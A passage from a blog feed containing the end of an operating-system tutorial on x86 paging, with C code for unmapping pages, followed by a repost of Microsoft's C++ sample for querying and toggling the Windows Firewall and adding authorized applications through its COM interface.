<p>&nbsp;&nbsp;kernel_page_dir[pginf.pagetable] = (unsigned long) new_page_table | 3; // add the new page table into the pdir<br>&nbsp;&nbsp;page_table[pginf.page] = phys_address | 3; // map the page!<br>&nbsp;}<br>&nbsp;return status_success;<br>}</p>
<p>void mm_unmappage(unsigned long virt_address){<br>&nbsp;pageinfo pginf = mm_virtaddrtopageindex(virt_address);<br>&nbsp;<br>&nbsp;if(kernel_page_dir[pginf.pagetable] &amp; 1){<br>&nbsp;&nbsp;int i;<br>&nbsp;&nbsp;unsigned long *page_table = (unsigned long *) (0xFFC00000 + (pginf.pagetable * 0x1000));<br>&nbsp;&nbsp;if(page_table[pginf.page] &amp; 1){<br>&nbsp;&nbsp;&nbsp;// page is mapped, so unmap it<br>&nbsp;&nbsp;&nbsp;page_table[pginf.page] = 2; // r/w, not present<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;// check if there are any more present PTEs in this page table<br>&nbsp;&nbsp;for(i = 0; i &lt; 1024; i++){<br>&nbsp;&nbsp;&nbsp;if(page_table[i] &amp; 1) break;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;// if there are none, then free the space allocated to the page table and delete mappings<br>&nbsp;&nbsp;if(i == 1024){<br>&nbsp;&nbsp;&nbsp;mm_freephyspage(kernel_page_dir[pginf.pagetable] &amp; 0xFFFFF000);<br>&nbsp;&nbsp;&nbsp;kernel_page_dir[pginf.pagetable] = 2;<br>&nbsp;&nbsp;}<br>&nbsp;}<br>}<br><br><u><span class=bbc_underline><strong class=bbc>Conclusion</strong></span><br></u>I hope that my explanation has benefited those of you who were confused about paging and memory mapping. Paging truly is a great feature of the CPU, and it is difficult to write a decent operating system without its implementation. If you have comments, questions, or if you&#8217;ve found mistakes in this article, please post in this thread or PM me. <br></p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73038.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-09 11:02 <a href="http://www.cnitblog.com/houcy/archive/2011/03/09/73038.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Exercising the Firewall using C++</title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73037.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 15:21:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73037.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73037.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73037.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73037.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73037.html</trackback:ping><description><![CDATA[<a href="http://msdn.microsoft.com/en-us/library/Aa364726">http://msdn.microsoft.com/en-us/library/Aa364726</a><br><br>
<p>The following code example exercises the Windows Firewall profile; displays the current profile, turns off the firewall, turns on the firewall, and adds an application.</p>
<p>&nbsp;</p>
<p>/*<br>&nbsp;&nbsp;&nbsp; Copyright (c) Microsoft Corporation</p>
<p>&nbsp;&nbsp;&nbsp; SYNOPSIS</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sample code for the Windows Firewall COM interface.<br>*/</p>
<p>#include &lt;windows.h&gt;<br>#include &lt;crtdbg.h&gt;<br>#include &lt;netfw.h&gt;<br>#include &lt;objbase.h&gt;<br>#include &lt;oleauto.h&gt;<br>#include &lt;stdio.h&gt;</p>
<p>#pragma comment( lib, "ole32.lib" )<br>#pragma comment( lib, "oleaut32.lib" )</p>
<p><br>HRESULT WindowsFirewallInitialize(OUT INetFwProfile** fwProfile)<br>{<br>&nbsp;&nbsp;&nbsp; HRESULT hr = S_OK;<br>&nbsp;&nbsp;&nbsp; INetFwMgr* fwMgr = NULL;<br>&nbsp;&nbsp;&nbsp; INetFwPolicy* fwPolicy = NULL;</p>
<p>&nbsp;&nbsp;&nbsp; _ASSERT(fwProfile != NULL);</p>
<p>&nbsp;&nbsp;&nbsp; *fwProfile = NULL;</p>
<p>&nbsp;&nbsp;&nbsp; // Create an instance of the firewall settings manager.<br>&nbsp;&nbsp;&nbsp; hr = CoCreateInstance(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __uuidof(NetFwMgr),<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CLSCTX_INPROC_SERVER,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __uuidof(INetFwMgr),<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (void**)&amp;fwMgr<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("CoCreateInstance failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Retrieve the local firewall policy.<br>&nbsp;&nbsp;&nbsp; hr = fwMgr-&gt;get_LocalPolicy(&amp;fwPolicy);<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("get_LocalPolicy failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Retrieve the firewall profile currently in effect.<br>&nbsp;&nbsp;&nbsp; hr = fwPolicy-&gt;get_CurrentProfile(fwProfile);<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("get_CurrentProfile failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>error:</p>
<p>&nbsp;&nbsp;&nbsp; // Release the local firewall policy.<br>&nbsp;&nbsp;&nbsp; if (fwPolicy != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwPolicy-&gt;Release();<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Release the firewall settings manager.<br>&nbsp;&nbsp;&nbsp; if (fwMgr != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwMgr-&gt;Release();<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; return hr;<br>}</p>
<p><br>void WindowsFirewallCleanup(IN INetFwProfile* fwProfile)<br>{<br>&nbsp;&nbsp;&nbsp; // Release the firewall profile.<br>&nbsp;&nbsp;&nbsp; if (fwProfile != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwProfile-&gt;Release();<br>&nbsp;&nbsp;&nbsp; }<br>}</p>
<p><br>HRESULT WindowsFirewallIsOn(IN INetFwProfile* fwProfile, OUT BOOL* fwOn)<br>{<br>&nbsp;&nbsp;&nbsp; HRESULT hr = S_OK;<br>&nbsp;&nbsp;&nbsp; VARIANT_BOOL fwEnabled;</p>
<p>&nbsp;&nbsp;&nbsp; _ASSERT(fwProfile != NULL);<br>&nbsp;&nbsp;&nbsp; _ASSERT(fwOn != NULL);</p>
<p>&nbsp;&nbsp;&nbsp; *fwOn = FALSE;</p>
<p>&nbsp;&nbsp;&nbsp; // Get the current state of the firewall.<br>&nbsp;&nbsp;&nbsp; hr = fwProfile-&gt;get_FirewallEnabled(&amp;fwEnabled);<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("get_FirewallEnabled failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Check to see if the firewall is on.<br>&nbsp;&nbsp;&nbsp; if (fwEnabled != VARIANT_FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *fwOn = TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("The firewall is on.\n");<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("The firewall is off.\n");<br>&nbsp;&nbsp;&nbsp; }</p>
<p>error:</p>
<p>&nbsp;&nbsp;&nbsp; return hr;<br>}</p>
<p><br>HRESULT WindowsFirewallTurnOn(IN INetFwProfile* fwProfile)<br>{<br>&nbsp;&nbsp;&nbsp; HRESULT hr = S_OK;<br>&nbsp;&nbsp;&nbsp; BOOL fwOn;</p>
<p>&nbsp;&nbsp;&nbsp; _ASSERT(fwProfile != NULL);</p>
<p>&nbsp;&nbsp;&nbsp; // Check to see if the firewall is off.<br>&nbsp;&nbsp;&nbsp; hr = WindowsFirewallIsOn(fwProfile, &amp;fwOn);<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("WindowsFirewallIsOn failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // If it is, turn it on.<br>&nbsp;&nbsp;&nbsp; if (!fwOn)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Turn the firewall on.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwProfile-&gt;put_FirewallEnabled(VARIANT_TRUE);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("put_FirewallEnabled failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("The firewall is now on.\n");<br>&nbsp;&nbsp;&nbsp; }</p>
<p>error:</p>
<p>&nbsp;&nbsp;&nbsp; return hr;<br>}</p>
<p><br>HRESULT WindowsFirewallTurnOff(IN INetFwProfile* fwProfile)<br>{<br>&nbsp;&nbsp;&nbsp; HRESULT hr = S_OK;<br>&nbsp;&nbsp;&nbsp; BOOL fwOn;</p>
<p>&nbsp;&nbsp;&nbsp; _ASSERT(fwProfile != NULL);</p>
<p>&nbsp;&nbsp;&nbsp; // Check to see if the firewall is on.<br>&nbsp;&nbsp;&nbsp; hr = WindowsFirewallIsOn(fwProfile, &amp;fwOn);<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("WindowsFirewallIsOn failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // If it is, turn it off.<br>&nbsp;&nbsp;&nbsp; if (fwOn)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Turn the firewall off.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwProfile-&gt;put_FirewallEnabled(VARIANT_FALSE);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("put_FirewallEnabled failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("The firewall is now off.\n");<br>&nbsp;&nbsp;&nbsp; }</p>
<p>error:</p>
<p>&nbsp;&nbsp;&nbsp; return hr;<br>}</p>
<p><br>HRESULT WindowsFirewallAppIsEnabled(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN INetFwProfile* fwProfile,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN const wchar_t* fwProcessImageFileName,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OUT BOOL* fwAppEnabled<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<br>{<br>&nbsp;&nbsp;&nbsp; HRESULT hr = S_OK;<br>&nbsp;&nbsp;&nbsp; BSTR fwBstrProcessImageFileName = NULL;<br>&nbsp;&nbsp;&nbsp; VARIANT_BOOL fwEnabled;<br>&nbsp;&nbsp;&nbsp; INetFwAuthorizedApplication* fwApp = NULL;<br>&nbsp;&nbsp;&nbsp; INetFwAuthorizedApplications* fwApps = NULL;</p>
<p>&nbsp;&nbsp;&nbsp; _ASSERT(fwProfile != NULL);<br>&nbsp;&nbsp;&nbsp; _ASSERT(fwProcessImageFileName != NULL);<br>&nbsp;&nbsp;&nbsp; _ASSERT(fwAppEnabled != NULL);</p>
<p>&nbsp;&nbsp;&nbsp; *fwAppEnabled = FALSE;</p>
<p>&nbsp;&nbsp;&nbsp; // Retrieve the authorized application collection.<br>&nbsp;&nbsp;&nbsp; hr = fwProfile-&gt;get_AuthorizedApplications(&amp;fwApps);<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("get_AuthorizedApplications failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Allocate a BSTR for the process image file name.<br>&nbsp;&nbsp;&nbsp; fwBstrProcessImageFileName = SysAllocString(fwProcessImageFileName);<br>&nbsp;&nbsp;&nbsp; if (fwBstrProcessImageFileName == NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = E_OUTOFMEMORY;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("SysAllocString failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Attempt to retrieve the authorized application.<br>&nbsp;&nbsp;&nbsp; hr = fwApps-&gt;Item(fwBstrProcessImageFileName, &amp;fwApp);<br>&nbsp;&nbsp;&nbsp; if (SUCCEEDED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Find out if the authorized application is enabled.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwApp-&gt;get_Enabled(&amp;fwEnabled);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("get_Enabled failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (fwEnabled != VARIANT_FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // The authorized application is enabled.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *fwAppEnabled = TRUE;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Authorized application %lS is enabled in the firewall.\n",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwProcessImageFileName<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Authorized application %lS is disabled in the firewall.\n",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwProcessImageFileName<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // The authorized application was not in the collection.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = S_OK;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Authorized application %lS is disabled in the firewall.\n",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwProcessImageFileName<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br>&nbsp;&nbsp;&nbsp; }</p>
<p>error:</p>
<p>&nbsp;&nbsp;&nbsp; // Free the BSTR.<br>&nbsp;&nbsp;&nbsp; SysFreeString(fwBstrProcessImageFileName);</p>
<p>&nbsp;&nbsp;&nbsp; // Release the authorized application instance.<br>&nbsp;&nbsp;&nbsp; if (fwApp != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwApp-&gt;Release();<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Release the authorized application collection.<br>&nbsp;&nbsp;&nbsp; if (fwApps != NULL)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwApps-&gt;Release();<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; return hr;<br>}</p>
<p><br>HRESULT WindowsFirewallAddApp(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN INetFwProfile* fwProfile,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN const wchar_t* fwProcessImageFileName,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN const wchar_t* fwName<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<br>{<br>&nbsp;&nbsp;&nbsp; HRESULT hr = S_OK;<br>&nbsp;&nbsp;&nbsp; BOOL fwAppEnabled;<br>&nbsp;&nbsp;&nbsp; BSTR fwBstrName = NULL;<br>&nbsp;&nbsp;&nbsp; BSTR fwBstrProcessImageFileName = NULL;<br>&nbsp;&nbsp;&nbsp; INetFwAuthorizedApplication* fwApp = NULL;<br>&nbsp;&nbsp;&nbsp; INetFwAuthorizedApplications* fwApps = NULL;</p>
<p>&nbsp;&nbsp;&nbsp; _ASSERT(fwProfile != NULL);<br>&nbsp;&nbsp;&nbsp; _ASSERT(fwProcessImageFileName != NULL);<br>&nbsp;&nbsp;&nbsp; _ASSERT(fwName != NULL);</p>
<p>&nbsp;&nbsp;&nbsp; // First check to see if the application is already authorized.<br>&nbsp;&nbsp;&nbsp; hr = WindowsFirewallAppIsEnabled(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwProfile,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwProcessImageFileName,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;fwAppEnabled<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br>&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("WindowsFirewallAppIsEnabled failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; // Only add the application if it isn't already authorized.<br>&nbsp;&nbsp;&nbsp; if (!fwAppEnabled)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Retrieve the authorized application collection.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = fwProfile-&gt;get_AuthorizedApplications(&amp;fwApps);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("get_AuthorizedApplications failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Create an instance of an authorized application.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = CoCreateInstance(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __uuidof(NetFwAuthorizedApplication),<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CLSCTX_INPROC_SERVER,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __uuidof(INetFwAuthorizedApplication),<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (void**)&amp;fwApp<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(hr))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("CoCreateInstance failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Allocate a BSTR for the process image file name.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwBstrProcessImageFileName = SysAllocString(fwProcessImageFileName);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (fwBstrProcessImageFileName == NULL)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr = E_OUTOFMEMORY;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("SysAllocString failed: 0x%08lx\n", hr);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto error;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
